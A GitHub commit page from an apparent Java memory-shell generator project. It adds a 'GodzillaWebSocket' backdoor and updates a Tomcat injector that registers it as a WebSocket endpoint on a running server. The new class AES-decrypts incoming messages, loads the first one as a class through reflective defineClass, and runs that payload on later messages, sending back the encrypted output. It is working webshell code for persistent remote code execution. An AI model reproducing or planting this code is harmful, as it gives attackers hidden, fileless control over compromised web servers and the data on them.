Skip to content

Commit 8b93609

Browse files
committed
feat: add websocket godzilla
1 parent 5c5a080 commit 8b93609

File tree

3 files changed

+82
-5
lines changed

3 files changed

+82
-5
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -157,6 +157,8 @@ public enum Server {
157157
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
158158
.addShellClass(VALVE, GodzillaValve.class)
159159
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
160+
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
161+
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
160162
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
161163
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
162164
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -88,6 +88,12 @@ private void inject(Object obj, Object context) throws Exception {
8888
if (container == null) {
8989
return;
9090
}
91+
92+
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
93+
System.out.println("websocket at " + getUrlPattern() + " already exists");
94+
return;
95+
}
96+
9197
ClassLoader classLoader = context.getClass().getClassLoader();
9298
Class<?> serverEndpointConfigClass = classLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
9399
Class<?> builderClass = classLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
@@ -96,11 +102,8 @@ private void inject(Object obj, Object context) throws Exception {
96102
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
97103
Object endpointConfig = invokeMethod(o1, "build", null, null);
98104

99-
Map<String, Object> o = (Map<String, Object>) getFieldValue(container, "configExactMatchMap");
100-
if (o.containsKey(getUrlPattern())) {
101-
System.out.println("websocket at " + getUrlPattern() + " already exists");
102-
return;
103-
}
105+
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
106+
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
104107
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
105108
System.out.println("websocket at " + getUrlPattern() + " inject successfully");
106109
}
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
package com.reajason.javaweb.memshell.shelltool.godzilla;
2+
3+
import javax.crypto.Cipher;
4+
import javax.crypto.spec.SecretKeySpec;
5+
import javax.websocket.Endpoint;
6+
import javax.websocket.EndpointConfig;
7+
import javax.websocket.MessageHandler;
8+
import javax.websocket.Session;
9+
import java.lang.reflect.Method;
10+
import java.net.URL;
11+
import java.net.URLClassLoader;
12+
import java.nio.ByteBuffer;
13+
14+
/**
15+
* @author ReaJason
16+
* @since 2025/5/9
17+
*/
18+
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
19+
public static String key;
20+
21+
private Session session;
22+
private Class<?> payload;
23+
24+
public Class<?> Q(byte[] classBytes) throws Throwable {
25+
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
26+
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
27+
defMethod.setAccessible(true);
28+
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
29+
}
30+
31+
public byte[] x(byte[] s, boolean m) {
32+
try {
33+
Cipher c = Cipher.getInstance("AES");
34+
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
35+
return c.doFinal(s);
36+
} catch (Exception var4) {
37+
return null;
38+
}
39+
}
40+
41+
@Override
42+
public void onOpen(final Session session, EndpointConfig config) {
43+
this.session = session;
44+
session.addMessageHandler(this);
45+
}
46+
47+
@Override
48+
public void onMessage(ByteBuffer byteBuffer) {
49+
try {
50+
byte[] data = byteBuffer.array();
51+
data = x(data, false);
52+
byte[] response = new byte[0];
53+
if (payload == null) {
54+
payload = Q(data);
55+
} else {
56+
java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
57+
Object obj = payload.newInstance();
58+
obj.equals(data);
59+
obj.equals(bos);
60+
obj.toString();
61+
response = bos.toByteArray();
62+
}
63+
session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(response, true)));
64+
} catch (Throwable e) {
65+
e.printStackTrace();
66+
try {
67+
session.close();
68+
} catch (java.io.IOException ignored) {
69+
}
70+
}
71+
}
72+
}

0 commit comments

Comments
 (0)